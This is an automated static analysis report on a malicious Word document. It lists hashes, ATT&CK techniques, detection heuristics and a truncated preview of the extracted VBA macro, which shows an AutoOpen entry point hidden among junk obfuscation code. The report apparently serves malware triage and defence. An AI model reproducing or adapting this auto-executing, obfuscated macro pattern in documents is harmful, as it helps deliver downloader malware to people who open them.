Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5de5840f4943cf0d…

MALICIOUS

Office (OLE)

149.4 KB Created: 2019-04-05 12:34:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 6b896aa990d1ee3f95b440a8ce7fe43a SHA-1: ecdf6603af0e8d9ac0366c04b5c113a72b0ad730 SHA-256: 5de5840f4943cf0d0aaf574a7f488e9075ee0b7b8e8c879f76254733e2df5bb0
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV and exhibits high-severity heuristics indicating the presence of an auto-executing VBA macro. The 'GetObject' call within the autoopen macro suggests an attempt to execute external code. While the VBA code is heavily obfuscated, its structure and the presence of autoopen strongly imply it's a downloader for a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6932000-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6932000-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31386 bytes
SHA-256: ae293b1007fe630394ca1473dae44d768ad084e29f116f561b27f8c6d018fb51
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hkQkBXA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zAAB1AA"
Attribute VB_Base = "0{03D8C51D-3E76-4A2B-92D4-ECC7A6EAD2E7}{A5B7373E-E6C8-4A1D-B36A-8277CE1DD7FA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AX1AQk"
Attribute VB_Base = "0{CBBD121C-2ED8-4FE0-A1B2-CD5D30AC3D66}{B7B4EAE5-D685-486B-8640-2A131AF5AB7D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "G4GDD4"
Function iwB4CX()
   If 606338906 = 666383500 Then
      jwUAAAC = 800265766 + Hex(wQAUCQo) + 112256309 / v4wAU_U * (JZ_AkA * CSng(981972793 / CByte(YAAQ1cA)) - fAC1ZAAQ - Sqr(DA1AAQ / 278689676 + 28565801 + CDate(vccZAABA - Sgn(367382793) + JZ4AZ1 * 898108508))) + (7754973 + 829126681 + 814460599 * wcAXAGc)
End If
   If 444000992 = 487442409 Then
      qDCDkXZ1 = 752939221 + Hex(RBBQU4UA) + 320405955 / iQxABkAA * (MUQBGBZA * CSng(332167598 / CByte(fw_oDABA)) - wAAGAD - Sqr(UDkGADA / 15253373 + 909465096 + CDate(vXcADA - Sgn(311298961) + ZwD4AQ * 253291125))) + (893828359 + 623783325 + 162218269 * c_CZUC)
End If
End Function
Sub autoopen()
TB_AAcoA
End Sub
Function DCAA_oB()
   If 837509444 = 13256662 Then
      EA1AAw = 648339908 + Hex(wA4B4AA) + 702925007 / iQXDAA * (dA1A4Uox * CSng(348974770 / CByte(GDACoA)) - MkAkAG - Sqr(poQko_1D / 782550943 + 322476671 + CDate(tcB1cQ - Sgn(34610043) + iACACAAA * 155203454))) + (985608257 + 136150987 + 792762787 * HBx1GA)
End If
   If 165504273 = 420262227 Then
      qZQDQA = 938102217 + Hex(SoABCAB) + 412060701 / XD4AABDx * (uoABkBUG * CSng(742854937 / CByte(LxD1DDw)) - wQCZACwo - Sqr(VxA4Z_AA / 703137807 + 357007553 + CDate(iZ_wDw - Sgn(322666959) + HDxADA * 236969735))) + (83090737 + 187495052 + 374884522 * z1_AAoA)
End If
   If 227070193 = 334906177 Then
      SkAAQ1U = 713637544 + Hex(KxAXAk4k) + 489164095 / ABCAoUCX * (PAAkXUo * CSng(669353621 / CByte(SDQQAAQX)) - FBC4D1XB - Sqr(WZA1AAXA / 993448202 + 744096749 + CDate(O__AAAU - Sgn(833963735) + SCA_1QQo * 187486212))) + (16635810 + 4181086 + 321067219 * JZAoBUXk)
End If
End Function

Attribute VB_Name = "akAwQAB"
Function ICBAAA1D()
   If 142505114 = 848699848 Then
      jCQoBUAZ = 497725971 + Hex(f1ZAGc) + 420932561 / mZQx4A * (ZAUAoU * CSng(683011150 / CByte(pUCkAB)) - WAA1A_UA - Sqr(FXQ1C4 / 736258905 + 4291415 + CDate(jU4ADQ - Sgn(179825284) + KAAQAAU * 638750389))) + (723798843 + 256013966 + 193281786 * wQBUAZ)
End If
   If 908281183 = 402182110 Then
      EDAA4D = 938428344 + Hex(IZAAxAQ) + 703556760 / KXA4G4A * (mAABZx * CSng(94185553 / CByte(aDXoAAAk)) - SGUGAA - Sqr(SQDAowUD / 291560126 + 533911988 + CDate(HABDXQA - Sgn(348274229) + pBDAZBA * 649607576))) + (575705706 + 82929628 + 338310450 * WAXwcAAx)
End If
End Function
Function TB_AAcoA()
On Error Resume Next
   If 138115491 = 214476140 Then
      AQBoGX = 864728554 + Hex(iABAAX) + 832274858 / RDDw4BAA * (ZA4wUD * CSng(170831004 / CByte(jUA_CB)) - qG_AAADo - Sqr(pAcADAAD / 320474809 + 60350230 + CDate(JAA4UA - Sgn(711045762) + hQkxGc * 779058464))) + (770843382 + 381536784 + 242471098 * IDxw4D)
End If
   If 953353816 = 149571536 Then
      VxZBQA1 = 674832449 + Hex(zDcAw_4B) + 1492837 / jAUGkB * (Ik4DABGU * CSng(509835581 / CByte(s1X41oD)) - z_UA_QU - Sqr(vABQAD / 649395149 + 376569709 + CDate(QQADZUA - Sgn(795080199) + FAAAAQ * 697558301))) + (729799797 + 463151164 + 893101993 * P14AQADD)
End If
   If 895421455 = 739676634 Then
      UQ_QB4 = 551537469 + Hex(jA4GUU_) + 681265826 / MDcAQQw * (BXXQAQAZ * CSng(729509407 / CByte(ww1xBAUB)) - vAkXAA - Sqr(
... (truncated)

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